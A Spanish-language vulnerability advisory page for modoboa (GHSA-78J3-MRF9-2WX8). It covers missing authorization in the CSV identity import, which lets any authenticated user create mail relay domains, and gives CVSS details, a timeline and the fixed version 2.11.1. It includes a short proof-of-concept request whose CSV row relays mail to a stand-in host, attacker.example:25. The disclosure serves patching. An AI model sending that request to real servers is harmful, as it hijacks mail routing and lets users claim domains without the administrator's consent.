llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · modoboa

GHSA-78J3-MRF9-2WX8

Autorización faltante en la importación CSV de dominios de retransmisión permite que cualquier usuario autenticado cree dominios de retransmisión

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -24 d de la divulgación
Exposición19 dDesde la divulgación, 2 nov 2026, 4:16 a. m.
Detección17 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Hoy toca orden, no heroísmo.Ni fuego ni humo: solo una tarea pendiente.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.11.1
Monitoreo
Detectada +1
9 oct 26
2 nov 26
19 nov 26
21 nov 26
9 oct 26
20 oct 26
30 oct 26
10 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.11.1 modoboa · -24 d desde divulgación
Divulgación Publicada GHSA-78J3-MRF9-2WX8 divulgada · CVSS 6.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub
Resumen

Cualquier usuario autenticado, incluido un usuario de buzón simple, puede crear dominios de retransmisión mediante el endpoint de importación CSV de identidades. El dominio de retransmisión se crea con un host y un puerto de destino elegidos por el atacante, se le otorga la propiedad al usuario y no se aplican los límites administrativos.

Detalles

La maquinaria de importación CSV (`modoboa.admin.lib.import_data`) envía cada fila a un importador según su primera columna, independientemente del endpoint que recibió el archivo. `POST /api/v2/identities/import/` solo requiere autenticación (`IsAuthenticated`), ya que está pensado para que los administradores de dominio importen cuentas y alias.

Los importadores de dominios y de alias de dominio verifican por sí mismos los permisos `admin.add_domain` / `admin.add_domainalias`, pero el importador de dominios de retransmisión (`modoboa.relaydomains.lib.import_relaydomain`) no realizaba ninguna comprobación de autorización ni aplicaba la verificación de límites `can_create_object`. Por lo tanto, una fila `relaydomain` enviada al endpoint de importación de identidades se procesaba para cualquier usuario.

Prueba de concepto

Autenticado como miembro del grupo `SimpleUsers`:

POST /api/v2/identities/import/
Content-Type: multipart/form-data

sourcefile = relaydomain;evil.example;attacker.example;25;relay;True;False
crypt_passwords = true

Respuesta: `{"status": true, "message": "1 objects imported successfully"}`.
Se crea un `Domain(name="evil.example", type="relaydomain")`, propiedad del usuario simple, con un transporte que retransmite a `attacker.example:25`.

Impacto

Un usuario con pocos privilegios puede modificar la configuración de enrutamiento de correo de todo el servidor: el servidor empieza a aceptar correo para el dominio elegido y lo retransmite a un host controlado por el usuario. Los nombres de dominio quedan reclamados sin el consentimiento del administrador de la plataforma (impidiendo su creación legítima posteriormente), y se eluden los límites de revendedor y de dominio. Las instalaciones multiinquilino, donde los usuarios de buzón no son administradores de confianza, son las más expuestas.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
modoboa≥ 2.0.0 ≤ 2.11.0
2.0.0
2.11.0
2.13.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypimodoboa
Corregida 2.11.1 -24 d 2.13.0 no afectada
Versiones corregidas2.11.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/modoboa/modoboa/security/advisories/GHSA-78j3-mrf9-2wx8

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.